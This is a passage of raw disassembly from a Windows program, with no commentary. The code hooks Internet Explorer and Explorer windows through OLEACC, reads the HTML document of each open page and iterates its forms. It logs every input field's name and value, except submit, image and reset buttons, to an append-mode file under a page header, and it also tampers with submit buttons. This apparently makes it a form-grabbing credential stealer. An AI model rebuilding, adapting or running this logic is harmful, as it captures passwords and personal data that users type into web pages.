[ebp-24h], edi mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4063B8: ; CODE XREF: sub_4060DC+2D1j cmp esi, edi jl loc_406454 mov [ebp-34h], edi mov byte ptr [ebp-4], 0Bh mov eax, [ebp-20h] mov ecx, [eax] lea edx, [ebp-34h] push edx push eax call dword ptr [ecx+20h] test eax, eax jl loc_4069F9 mov [ebp-2Ch], edi mov [ebp-30h], edi mov byte ptr [ebp-4], 0Dh mov eax, [ebp-20h] mov ecx, [eax] lea edx, [ebp-30h] push edx push eax call dword ptr [ecx+28h] test eax, eax jl loc_4069EF mov eax, [ebp-20h] mov ecx, [eax] lea edx, [ebp-2Ch] push edx push eax call dword ptr [ecx+70h] test eax, eax jl loc_4069EF cmp [ebp-2Ch], edi jnz short loc_406422 push offset aNull_0 ; "(null)" lea esi, [ebp-2Ch] call sub_406033 loc_406422: ; CODE XREF: sub_4060DC+337j cmp [ebp-30h], edi jnz short loc_406434 push offset aNull_0 ; "(null)" lea esi, [ebp-30h] call sub_406033 loc_406434: ; CODE XREF: sub_4060DC+349j push dword ptr [ebp-30h] push dword ptr [ebp-2Ch] call sub_41D445 test eax, eax pop ecx pop ecx jnz short loc_40649E push dword ptr [ebp-30h] call ebx push dword ptr [ebp-2Ch] call ebx push dword ptr [ebp-34h] call ebx loc_406454: ; CODE XREF: sub_4060DC+2B6j ; sub_4060DC+2DEj mov byte ptr [ebp-4], 7 mov eax, [ebp-1Ch] cmp eax, edi jz short loc_406465 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406465: ; CODE XREF: sub_4060DC+381j mov byte ptr [ebp-4], 6 mov eax, [ebp-20h] cmp eax, edi jz short loc_406476 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406476: ; CODE XREF: sub_4060DC+392j mov byte ptr [ebp-4], 5 mov eax, [ebp-24h] cmp eax, edi jz short loc_406487 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406487: ; CODE XREF: sub_4060DC+3A3j inc dword ptr [ebp-44h] mov eax, [ebp-44h] cmp eax, [ebp-90h] jl loc_406304 jmp loc_406865 ; --------------------------------------------------------------------------- loc_40649E: ; CODE XREF: sub_4060DC+367j mov [ebp-3Ch], edi mov [ebp-38h], edi push offset aA ; "a" mov byte ptr [ebp-4], 0Fh call sub_404ADB push eax call sub_41D3D4 pop ecx pop ecx lea edx, [ebp-3Ch] mov [ebp-58h], eax mov eax, [ebp-10h] mov ecx, [eax] push edx push eax call dword ptr [ecx+44h] test eax, eax jl loc_4069E5 mov eax, [ebp-10h] mov ecx, [eax] lea edx, [ebp-38h] push edx push eax call dword ptr [ecx+0A0h] test eax, eax push dword ptr [ebp-38h] jl loc_4069E8 push dword ptr [ebp-3Ch] push offset aSS ; " [%S]\r\n<%S>\r\n" push dword ptr [ebp-58h] call sub_41D3E7 mov eax, [ebp-1Ch] add esp, 10h cmp eax, edi jz short loc_406510 mov [ebp-1Ch], edi mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406510: ; CODE XREF: sub_4060DC+429j mov eax, [ebp-20h] mov ecx, [eax] lea edx, [ebp-1Ch] push edx push eax call dword ptr [ecx+44h] test eax, eax jl loc_4069E5 mov [ebp-4Ch], edi lea edx, [ebp-4Ch] push edx mov byte ptr [ebp-4], 10h mov eax, [ebp-1Ch] mov ecx, [eax] push offset dword_42FEAC push eax call dword ptr [ecx] test eax, eax jl loc_4069D4 mov eax, [ebp-1Ch] mov ecx, [eax] lea edx, [ebp-94h] push edx push eax call dword ptr [ecx+6Ch] test eax, eax jl loc_4069D4 cmp [ebp-94h], edi mov [ebp-84h], edi jle loc_4067F0 loc_40656F: ; CODE XREF: sub_4060DC+70Cj xor eax, eax mov [ebp-40h], eax mov [ebp-48h], eax mov [ebp-50h], eax mov eax, [ebp-84h] mov word ptr [ebp-0CCh], 3 mov [ebp-0C4h], eax mov word ptr [ebp-0BCh], 3 mov [ebp-0B4h], eax mov byte ptr [ebp-4], 15h lea edx, [ebp-40h] push edx sub esp, 10h mov edi, esp mov eax, [ebp-1Ch] lea esi, [ebp-0CCh] movsd movsd mov ecx, [eax] movsd movsd sub esp, 10h mov edi, esp lea esi, [ebp-0BCh] movsd movsd movsd push eax movsd call dword ptr [ecx+74h] mov esi, ds:dword_4291CC test eax, eax lea eax, [ebp-0BCh] push eax setl byte ptr [ebp+0Bh] call esi lea eax, [ebp-0CCh] push eax mov byte ptr [ebp-4], 13h call esi cmp byte ptr [ebp+0Bh], 0 jnz loc_40689D mov eax, [ebp-40h] test eax, eax jz loc_4067A3 mov ecx, [eax] lea edx, [ebp-48h] push edx push offset dword_42FEBC push eax call dword ptr [ecx] lea edx, [ebp-50h] push edx mov esi, eax mov eax, [ebp-40h] mov ecx, [eax] push offset dword_42FE9C push eax call dword ptr [ecx] mov edi, eax mov eax, [ebp-40h] test eax, eax jz short loc_406638 and dword ptr [ebp-40h], 0 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406638: ; CODE XREF: sub_4060DC+550j xor eax, eax cmp esi, eax jl loc_40671B mov [ebp-44h], eax mov [ebp-54h], eax mov [ebp+8], eax mov byte ptr [ebp-4], 18h mov eax, [ebp-48h] mov ecx, [eax] lea edx, [ebp+8] push edx push eax call dword ptr [ecx+20h] test eax, eax jl loc_40688E push offset aSubmit ; "submit" push dword ptr [ebp+8] call sub_41D445 test eax, eax pop ecx pop ecx jz loc_40670C push offset aImage ; "image" push dword ptr [ebp+8] call sub_41D445 test eax, eax pop ecx pop ecx jz short loc_40670C push offset aReset ; "reset" push dword ptr [ebp+8] call sub_41D445 test eax, eax pop ecx pop ecx jz short loc_40670C mov eax, [ebp-48h] mov ecx, [eax] lea edx, [ebp-44h] push edx push eax call dword ptr [ecx+30h] test eax, eax jl loc_40688E mov eax, [ebp-48h] mov ecx, [eax] lea edx, [ebp-54h] push edx push eax call dword ptr [ecx+28h] test eax, eax jl loc_40688E cmp dword ptr [ebp-54h], 0 jz short loc_4066F6 push dword ptr [ebp-54h] call ds:dword_4291D0 cmp eax, 96h jbe short loc_4066F6 push dword ptr [ebp-44h] push offset aSTooLong ; " %S = (too long)\r\n" push dword ptr [ebp-58h] call sub_41D3E7 add esp, 0Ch jmp short loc_40670C ; --------------------------------------------------------------------------- loc_4066F6: ; CODE XREF: sub_4060DC+5F3j ; sub_4060DC+603j push dword ptr [ebp-54h] push dword ptr [ebp-44h] push offset aSS_0 ; " %S = %S\r\n" push dword ptr [ebp-58h] call sub_41D3E7 add esp, 10h loc_40670C: ; CODE XREF: sub_4060DC+599j ; sub_4060DC+5B0j ... push dword ptr [ebp+8] call ebx push dword ptr [ebp-54h] call ebx push dword ptr [ebp-44h] call ebx loc_40671B: ; CODE XREF: sub_4060DC+560j test edi, edi jl loc_4067A3 xor edi, edi mov [ebp-60h], edi mov [ebp-5Ch], edi mov byte ptr [ebp-4], 1Ah mov eax, [ebp-50h] mov ecx, [eax] lea edx, [ebp-60h] push edx push eax call dword ptr [ecx+30h] test eax, eax jl loc_406997 mov eax, [ebp-50h] mov ecx, [eax] lea edx, [ebp-5Ch] push edx push eax call dword ptr [ecx+50h] test eax, eax jl loc_406997 cmp [ebp-5Ch], edi jz short loc_406783 push dword ptr [ebp-5Ch] call ds:dword_4291D0 cmp eax, 96h jbe short loc_406783 push dword ptr [ebp-60h] push offset aSTooLong ; " %S = (too long)\r\n" push dword ptr [ebp-58h] call sub_41D3E7 add esp, 0Ch jmp short loc_406799 ; --------------------------------------------------------------------------- loc_406783: ; CODE XREF: sub_4060DC+680j ; sub_4060DC+690j push dword ptr [ebp-5Ch] push dword ptr [ebp-60h] push offset aSS_0 ; " %S = %S\r\n" push dword ptr [ebp-58h] call sub_41D3E7 add esp, 10h loc_406799: ; CODE XREF: sub_4060DC+6A5j push dword ptr [ebp-5Ch] call ebx push dword ptr [ebp-60h] call ebx loc_4067A3: ; CODE XREF: sub_4060DC+522j ; sub_4060DC+641j mov byte ptr [ebp-4], 12h mov eax, [ebp-50h] test eax, eax jz short loc_4067B4 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4067B4: ; CODE XREF: sub_4060DC+6D0j mov byte ptr [ebp-4], 11h mov eax, [ebp-48h] test eax, eax jz short loc_4067C5 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4067C5: ; CODE XREF: sub_4060DC+6E1j mov byte ptr [ebp-4], 10h mov eax, [ebp-40h] test eax, eax jz short loc_4067D6 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4067D6: ; CODE XREF: sub_4060DC+6F2j inc dword ptr [ebp-84h] mov eax, [ebp-84h] cmp eax, [ebp-94h] jl loc_40656F xor edi, edi loc_4067F0: ; CODE XREF: sub_4060DC+48Dj push offset asc_42FF68 ; "\r\n" push dword ptr [ebp-58h] call sub_41D3E7 push dword ptr [ebp-58h] call sub_41D4C3 mov byte ptr [ebp-4], 0Fh mov eax, [ebp-4Ch] add esp, 0Ch cmp eax, edi jz short loc_406819 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406819: ; CODE XREF: sub_4060DC+735j push dword ptr [ebp-38h] call ebx push dword ptr [ebp-3Ch] call ebx push dword ptr [ebp-30h] call ebx push dword ptr [ebp-2Ch] call ebx push dword ptr [ebp-34h] call ebx mov byte ptr [ebp-4], 7 mov eax, [ebp-1Ch] cmp eax, edi jz short loc_406843 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406843: ; CODE XREF: sub_4060DC+75Fj mov byte ptr [ebp-4], 6 mov eax, [ebp-20h] cmp eax, edi jz short loc_406854 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406854: ; CODE XREF: sub_4060DC+770j mov byte ptr [ebp-4], 5 mov eax, [ebp-24h] cmp eax, edi jz short loc_406865 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406865: ; CODE XREF: sub_4060DC+1F9j ; sub_4060DC+222j ... mov byte ptr [ebp-4], 4 cmp dword ptr [ebp-8Ch], 0 mov eax, [ebp-28h] jz loc_406934 test eax, eax jz short loc_406883 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406883: ; CODE XREF: sub_4060DC+79Fj inc dword ptr [ebp-88h] jmp loc_40622F ; --------------------------------------------------------------------------- loc_40688E: ; CODE XREF: sub_4060DC+582j ; sub_4060DC+5D4j ... push dword ptr [ebp+8] call ebx push dword ptr [ebp-54h] call ebx push dword ptr [ebp-44h] call ebx loc_40689D: ; CODE XREF: sub_4060DC+517j mov byte ptr [ebp-4], 12h mov eax, [ebp-50h] test eax, eax jz short loc_4068AE mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4068AE: ; CODE XREF: sub_4060DC+7CAj mov byte ptr [ebp-4], 11h mov eax, [ebp-48h] test eax, eax jz short loc_4068BF mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4068BF: ; CODE XREF: sub_4060DC+7DBj mov byte ptr [ebp-4], 10h mov eax, [ebp-40h] test eax, eax jz short loc_4068D0 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4068D0: ; CODE XREF: sub_4060DC+7ECj mov byte ptr [ebp-4], 0Fh mov eax, [ebp-4Ch] test eax, eax jz short loc_4068E1 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4068E1: ; CODE XREF: sub_4060DC+7FDj push dword ptr [ebp-38h] call ebx push dword ptr [ebp-3Ch] call ebx push dword ptr [ebp-30h] call ebx push dword ptr [ebp-2Ch] call ebx push dword ptr [ebp-34h] call ebx loc_4068FA: ; CODE XREF: sub_4060DC+2A9j mov byte ptr [ebp-4], 7 mov eax, [ebp-1Ch] test eax, eax jz short loc_40690B mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40690B: ; CODE XREF: sub_4060DC+827j mov byte ptr [ebp-4], 6 mov eax, [ebp-20h] test eax, eax jz short loc_40691C mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40691C: ; CODE XREF: sub_4060DC+838j mov byte ptr [ebp-4], 5 mov eax, [ebp-24h] test eax, eax jz short loc_40692D mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40692D: ; CODE XREF: sub_4060DC+211j ; sub_4060DC+849j mov byte ptr [ebp-4], 4 mov eax, [ebp-28h] loc_406934: ; CODE XREF: sub_4060DC+797j test eax, eax jz short loc_40693E mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40693E: ; CODE XREF: sub_4060DC+15Fj ; sub_4060DC+85Aj mov esi, ds:dword_4291CC lea eax, [ebp-70h] push eax call esi lea eax, [ebp-80h] push eax call esi mov byte ptr [ebp-4], 1 mov eax, [ebp-18h] test eax, eax jz short loc_406961 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406961: ; CODE XREF: sub_4060DC+C8j ; sub_4060DC+87Dj mov byte ptr [ebp-4], 0 mov eax, [ebp-14h] test eax, eax jz short loc_406972 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406972: ; CODE XREF: sub_4060DC+6Dj ; sub_4060DC+87j ... or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-10h] test eax, eax loc_40697B: ; CODE XREF: sub_4060DC+9A3j jz short loc_406983 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406983: ; CODE XREF: sub_4060DC+3Aj ; sub_4060DC:loc_40697Bj mov ecx, [ebp-0Ch] pop edi xor eax, eax pop esi inc eax mov large fs:0, ecx pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_406997: ; CODE XREF: sub_4060DC+662j ; sub_4060DC+677j push dword ptr [ebp-5Ch] call ebx push dword ptr [ebp-60h] call ebx mov byte ptr [ebp-4], 12h mov eax, [ebp-50h] cmp eax, edi jz short loc_4069B2 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4069B2: ; CODE XREF: sub_4060DC+8CEj mov byte ptr [ebp-4], 11h mov eax, [ebp-48h] cmp eax, edi jz short loc_4069C3 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4069C3: ; CODE XREF: sub_4060DC+8DFj mov byte ptr [ebp-4], 10h mov eax, [ebp-40h] cmp eax, edi jz short loc_4069D4 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4069D4: ; CODE XREF: sub_4060DC+463j ; sub_4060DC+47Bj ... mov byte ptr [ebp-4], 0Fh mov eax, [ebp-4Ch] cmp eax, edi jz short loc_4069E5 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4069E5: ; CODE XREF: sub_4060DC+3F0j ; sub_4060DC+443j ... push dword ptr [ebp-38h] loc_4069E8: ; CODE XREF: sub_4060DC+40Bj call ebx push dword ptr [ebp-3Ch] call ebx loc_4069EF: ; CODE XREF: sub_4060DC+319j ; sub_4060DC+32Ej push dword ptr [ebp-30h] call ebx push dword ptr [ebp-2Ch] call ebx loc_4069F9: ; CODE XREF: sub_4060DC+2FAj push dword ptr [ebp-34h] call ebx mov byte ptr [ebp-4], 7 mov eax, [ebp-1Ch] cmp eax, edi jz short loc_406A0F mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406A0F: ; CODE XREF: sub_4060DC+92Bj mov byte ptr [ebp-4], 6 mov eax, [ebp-20h] cmp eax, edi jz short loc_406A20 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406A20: ; CODE XREF: sub_4060DC+93Cj mov byte ptr [ebp-4], 5 mov eax, [ebp-24h] cmp eax, edi jz short loc_406A31 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406A31: ; CODE XREF: sub_4060DC+94Dj mov byte ptr [ebp-4], 4 mov eax, [ebp-28h] cmp eax, edi jz short loc_406A42 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406A42: ; CODE XREF: sub_4060DC+F8j ; sub_4060DC+110j ... mov esi, ds:dword_4291CC lea eax, [ebp-70h] push eax call esi lea eax, [ebp-80h] push eax call esi mov byte ptr [ebp-4], 1 mov eax, [ebp-18h] cmp eax, edi jz short loc_406A65 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406A65: ; CODE XREF: sub_4060DC+981j mov byte ptr [ebp-4], 0 mov eax, [ebp-14h] cmp eax, edi jz short loc_406A76 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406A76: ; CODE XREF: sub_4060DC+992j or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-10h] cmp eax, edi jmp loc_40697B sub_4060DC endp ; --------------------------------------------------------------------------- loc_406A84: ; CODE XREF: .text:0042794Ej ; .text:00427956j ... jmp $+5 loc_406A89: ; CODE XREF: .text:004279BCj mov eax, [eax] test eax, eax jz short locret_406A95 mov ecx, [eax] push eax call dword ptr [ecx+8] locret_406A95: ; CODE XREF: .text:00406A8Dj retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A96 proc near ; DATA XREF: .text:off_430AC0o var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_14 = byte ptr -14h push ebp mov ebp, esp sub esp, 30h mov eax, ds:dword_435F4C push esi xor esi, esi cmp eax, esi push edi mov edi, ecx jnz short loc_406ABF push offset aOleacc_dll ; "OLEACC.DLL" call ds:dword_4290E4 ; LoadLibraryA cmp eax, esi mov ds:dword_435F4C, eax jz short loc_406B3B loc_406ABF: ; CODE XREF: sub_406A96+13j push offset aObjectfromlres ; "ObjectFromLresult" push eax call ds:dword_4290E0 ; GetProcAddress cmp eax, esi mov ds:dword_435F50, eax jz short loc_406B3B push offset aWm_html_getobj ; "WM_HTML_GETOBJECT" call ds:dword_4291E8 ; RegisterClipboardFormatA push esi mov ds:dword_435F48, eax call ds:dword_4292F4 mov eax, edi lea ecx, [ebp+var_14] call sub_40609A mov edi, ds:dword_429268 jmp short loc_406B26 ; --------------------------------------------------------------------------- loc_406AFD: ; CODE XREF: sub_406A96+9Bj lea eax, [ebp+var_30] push eax call ds:dword_4291F0 ; TranslateMessage lea eax, [ebp+var_30] push eax call ds:dword_429204 ; DispatchMessageA cmp [ebp+var_2C], 8000h jnz short loc_406B26 push esi push offset sub_406B3F call ds:dword_4291EC ; EnumWindows loc_406B26: ; CODE XREF: sub_406A96+65j ; sub_406A96+82j push esi push esi lea eax, [ebp+var_30] push esi push eax call edi ; GetMessageA test eax, eax jg short loc_406AFD lea ecx, [ebp+var_14] call sub_416AA6 loc_406B3B: ; CODE XREF: sub_406A96+27j ; sub_406A96+3Cj pop edi pop esi leave retn sub_406A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B3F proc near ; DATA XREF: sub_406A96+85o var_D8 = byte ptr -0D8h var_98 = word ptr -98h var_90 = dword ptr -90h var_88 = word ptr -88h var_80 = dword ptr -80h var_78 = word ptr -78h var_70 = dword ptr -70h var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_48 = byte ptr -48h var_40 = dword ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 40h lea eax, [ebp+var_40] push eax push [ebp+arg_0] call ds:dword_429208 ; GetClassNameA lea eax, [ebp+var_40] push offset aIeframe ; "IEFrame" push eax call sub_41C730 test eax, eax pop ecx pop ecx jz short loc_406B7C lea eax, [ebp+var_40] push offset aCabinetwclass ; "CabinetWClass" push eax call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_406B8C loc_406B7C: ; CODE XREF: sub_406B3F+27j push 0 push offset loc_406B93 push [ebp+arg_0] call ds:dword_429200 ; EnumChildWindows loc_406B8C: ; CODE XREF: sub_406B3F+3Bj xor eax, eax inc eax leave retn 8 ; --------------------------------------------------------------------------- loc_406B93: ; DATA XREF: sub_406B3F+3Fo ; sub_406B3F+57Do mov eax, offset loc_4279C1 call sub_41E550 sub esp, 0CCh push ebx push esi push edi push 40h lea eax, [ebp+var_D8] push eax push [ebp+arg_0] call ds:dword_429208 ; GetClassNameA lea eax, [ebp+var_D8] push offset aTabwindowclass ; "TabWindowClass" push eax call sub_41C730 test eax, eax pop ecx pop ecx jz loc_4070BA lea eax, [ebp+var_D8] push offset aShellDocobject ; "Shell DocObject View" push eax call sub_41C730 test eax, eax pop ecx pop ecx jz loc_4070BA lea eax, [ebp+var_D8] push offset aInternetExplor ; "Internet Explorer_Server" push eax call sub_41C730 test eax, eax pop ecx pop ecx jnz loc_4070CA xor ebx, ebx cmp ds:dword_435F4C, ebx jz loc_4070CA mov [ebp+var_20], ebx mov [ebp+var_4], ebx mov [ebp+var_10], ebx mov [ebp+var_14], ebx mov [ebp+var_1C], ebx lea eax, [ebp+var_68] push eax push 3E8h push ebx push ebx push ebx mov byte ptr [ebp+var_4], 3 push ds:dword_435F48 push [ebp+arg_0] call ds:dword_42923C ; SendMessageTimeoutA mov eax, ds:dword_435F50 cmp eax, ebx jz loc_40706D lea ecx, [ebp+var_14] push ecx push ebx push offset dword_429408 push [ebp+var_68] call eax test eax, eax jl loc_40706D mov [ebp+var_18], ebx mov esi, ds:dword_4291C8 lea eax, [ebp+var_58] push eax call esi lea eax, [ebp+var_48] push eax call esi mov byte ptr [ebp+var_4], 6 mov eax, [ebp+var_14] mov ecx, [eax] lea edx, [ebp+var_10] push edx push eax call dword ptr [ecx+1B0h] test eax, eax jl loc_4070B2 mov eax, [ebp+var_10] mov ecx, [eax] lea edx, [ebp+var_18] push edx push eax call dword ptr [ecx+24h] test eax, eax jl loc_4070B2 mov eax, [ebp+var_18] mov ecx, [eax] lea edx, [ebp+var_5C] push edx push eax call dword ptr [ecx+20h] test eax, eax jl loc_4070B2 cmp [ebp+var_5C], ebx jnz short loc_406CF2 mov eax, [ebp+var_10] cmp eax, ebx jz short loc_406CD9 mov [ebp+var_10], ebx mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406CD9: ; CODE XREF: sub_406B3F+18Fj mov eax, [ebp+var_18] cmp eax, ebx jz loc_406D9A mov [ebp+var_18], ebx mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_406D9A ; --------------------------------------------------------------------------- loc_406CF2: ; CODE XREF: sub_406B3F+188j mov [ebp+var_34], ebx loc_406CF5: ; CODE XREF: sub_406B3F+4D0j mov eax, [ebp+var_34] cmp eax, [ebp+var_5C] jge loc_4070B2 mov eax, [ebp+var_10] cmp eax, ebx jz short loc_406D11 mov [ebp+var_10], ebx mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406D11: ; CODE XREF: sub_406B3F+1C7j mov eax, [ebp+var_14] cmp eax, ebx jz short loc_406D21 mov [ebp+var_14], ebx mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406D21: ; CODE XREF: sub_406B3F+1D7j mov eax, [ebp+var_20] cmp eax, ebx jz short loc_406D31 mov [ebp+var_20], ebx mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406D31: ; CODE XREF: sub_406B3F+1E7j mov eax, [ebp+var_1C] cmp eax, ebx jz short loc_406D41 mov [ebp+var_1C], ebx mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406D41: ; CODE XREF: sub_406B3F+1F7j push [ebp+var_34] lea esi, [ebp+var_58] call sub_40607C mov eax, [ebp+var_18] mov ecx, [eax] lea edx, [ebp+var_48] push edx lea edx, [ebp+var_58] push edx push eax call dword ptr [ecx+1Ch] test eax, eax jl loc_4070B2 mov eax, [ebp+var_40] cmp eax, ebx jz short loc_406D82 mov ecx, [eax] lea edx, [ebp+var_10] push edx push offset loc_4293F8 push eax call dword ptr [ecx] test eax, eax jl loc_4070B2 loc_406D82: ; CODE XREF: sub_406B3F+22Bj mov eax, [ebp+var_10] mov ecx, [eax] lea edx, [ebp+var_14] push edx push eax call dword ptr [ecx+0D0h] test eax, eax jl loc_4070B2 loc_406D9A: ; CODE XREF: sub_406B3F+19Fj ; sub_406B3F+1AEj mov eax, [ebp+var_14] mov ecx, [eax] lea edx, [ebp+var_20] push edx push eax call dword ptr [ecx+1Ch] test eax, eax jl loc_4070B2 mov eax, [ebp+var_20] push offset loc_4293F8 lea esi, [ebp+var_10] call sub_406007 mov eax, [ebp+var_14] cmp eax, ebx jz short loc_406DCF mov [ebp+var_14], ebx mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406DCF: ; CODE XREF: sub_406B3F+285j mov eax, [ebp+var_10] mov ecx, [eax] lea edx, [ebp+var_14] push edx push eax call dword ptr [ecx+0D0h] test eax, eax jl loc_4070B2 mov eax, [ebp+var_14] mov ecx, [eax] lea edx, [ebp+var_1C] push edx push eax call dword ptr [ecx+20h] test eax, eax jl loc_4070B2 mov eax, [ebp+var_1C] mov ecx, [eax] lea edx, [ebp+var_64] push edx push eax call dword ptr [ecx+24h] test eax, eax jl loc_4070B2 cmp [ebp+var_64], ebx mov [ebp+var_38], ebx jle loc_407001 loc_406E1D: ; CODE XREF: sub_406B3F+4BAj mov [ebp+var_24], ebx mov [ebp+var_2C], ebx mov [ebp+var_28], ebx mov eax, [ebp+var_38] mov [ebp+var_88], 3 mov [ebp+var_80], eax mov [ebp+var_98], 3 mov [ebp+var_90], eax mov byte ptr [ebp+var_4], 0Bh lea edx, [ebp+var_24] push edx sub esp, 10h mov edi, esp mov eax, [ebp+var_1C] lea esi, [ebp+var_88] movsd movsd mov ecx, [eax] movsd movsd sub esp, 10h mov edi, esp lea esi, [ebp+var_98] movsd movsd movsd push eax movsd call dword ptr [ecx+2Ch] mov esi, ds:dword_4291CC test eax, eax lea eax, [ebp+var_98] push eax setl byte ptr [ebp+arg_0+3] call esi lea eax, [ebp+var_88] push eax mov byte ptr [ebp+var_4], 9 call esi cmp byte ptr [ebp+arg_0+3], bl jnz loc_40701D mov eax, [ebp+var_24] cmp eax, ebx jz loc_406FBD mov ecx, [eax] lea edx, [ebp+var_2C] push edx push offset dword_42FEBC push eax call dword ptr [ecx] mov edi, eax mov eax, [ebp+var_24] cmp eax, ebx jz short loc_406EC9 mov [ebp+var_24], ebx mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406EC9: ; CODE XREF: sub_406B3F+37Fj cmp edi, ebx jl loc_406FBD mov [ebp+var_30], ebx mov byte ptr [ebp+var_4], 0Ch mov eax, [ebp+var_2C] mov ecx, [eax] lea edx, [ebp+var_30] push edx push eax call dword ptr [ecx+20h] test eax, eax jl loc_407014 push offset aSubmit ; "submit" push [ebp+var_30] call sub_41D445 test eax, eax pop ecx pop ecx jz short loc_406F17 push offset aImage ; "image" push [ebp+var_30] call sub_41D445 test eax, eax pop ecx pop ecx jnz loc_406FB4 loc_406F17: ; CODE XREF: sub_406B3F+3BFj mov eax, [ebp+var_2C] mov ecx, [eax] lea edx, [ebp+var_28] push edx push eax call dword ptr [ecx+44h] test eax, eax jl loc_406FB4 mov eax, [ebp+var_28] mov ecx, [eax] lea edx, [ebp+var_78] push edx push eax call dword ptr [ecx+54h] test eax, eax jl short loc_406FB4 mov [ebp+var_60], ebx mov byte ptr [ebp+var_4], 0Dh mov eax, [ebp+var_70] cmp eax, ebx jz short loc_406F5D mov ecx, [eax] lea edx, [ebp+var_60] push edx push offset dword_429418 push eax call dword ptr [ecx] test eax, eax jge short loc_406FA3 loc_406F5D: ; CODE XREF: sub_406B3F+40Aj mov ebx, ds:dword_438128 mov eax, [ebp+var_28] sub esp, 10h mov edi, esp mov esi, offset dword_429428 movsd movsd movsd mov [ebp+var_78], 9 mov [ebp+var_70], ebx movsd call sub_4070F6 test eax, eax jl short loc_406F9B mov eax, [ebp+var_28] mov ecx, [eax] sub esp, 10h mov edi, esp lea esi, [ebp+var_78] movsd movsd movsd push eax movsd call dword ptr [ecx+50h] loc_406F9B: ; CODE XREF: sub_406B3F+445j mov esi, ds:dword_4291CC xor ebx, ebx loc_406FA3: ; CODE XREF: sub_406B3F+41Cj mov byte ptr [ebp+var_4], 0Ch mov eax, [ebp+var_60] cmp eax, ebx jz short loc_406FB4 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406FB4: ; CODE XREF: sub_406B3F+3D2j ; sub_406B3F+3E7j ... push [ebp+var_30] call ds:dword_4291D4 loc_406FBD: ; CODE XREF: sub_406B3F+364j ; sub_406B3F+38Cj mov byte ptr [ebp+var_4], 8 mov eax, [ebp+var_28] cmp eax, ebx jz short loc_406FCE mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406FCE: ; CODE XREF: sub_406B3F+487j mov byte ptr [ebp+var_4], 7 mov eax, [ebp+var_2C] cmp eax, ebx jz short loc_406FDF mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406FDF: ; CODE XREF: sub_406B3F+498j mov byte ptr [ebp+var_4], 6 mov eax, [ebp+var_24] cmp eax, ebx jz short loc_406FF0 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406FF0: ; CODE XREF: sub_406B3F+4A9j inc [ebp+var_38] mov eax, [ebp+var_38] cmp eax, [ebp+var_64] jl loc_406E1D jmp short loc_407007 ; --------------------------------------------------------------------------- loc_407001: ; CODE XREF: sub_406B3F+2D8j mov esi, ds:dword_4291CC loc_407007: ; CODE XREF: sub_406B3F+4C0j cmp [ebp+var_5C], ebx jz short loc_407050 inc [ebp+var_34] jmp loc_406CF5 ; --------------------------------------------------------------------------- loc_407014: ; CODE XREF: sub_406B3F+3A8j push [ebp+var_30] call ds:dword_4291D4 loc_40701D: ; CODE XREF: sub_406B3F+359j mov byte ptr [ebp+var_4], 8 mov eax, [ebp+var_28] cmp eax, ebx jz short loc_40702E mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40702E: ; CODE XREF: sub_406B3F+4E7j mov byte ptr [ebp+var_4], 7 mov eax, [ebp+var_2C] cmp eax, 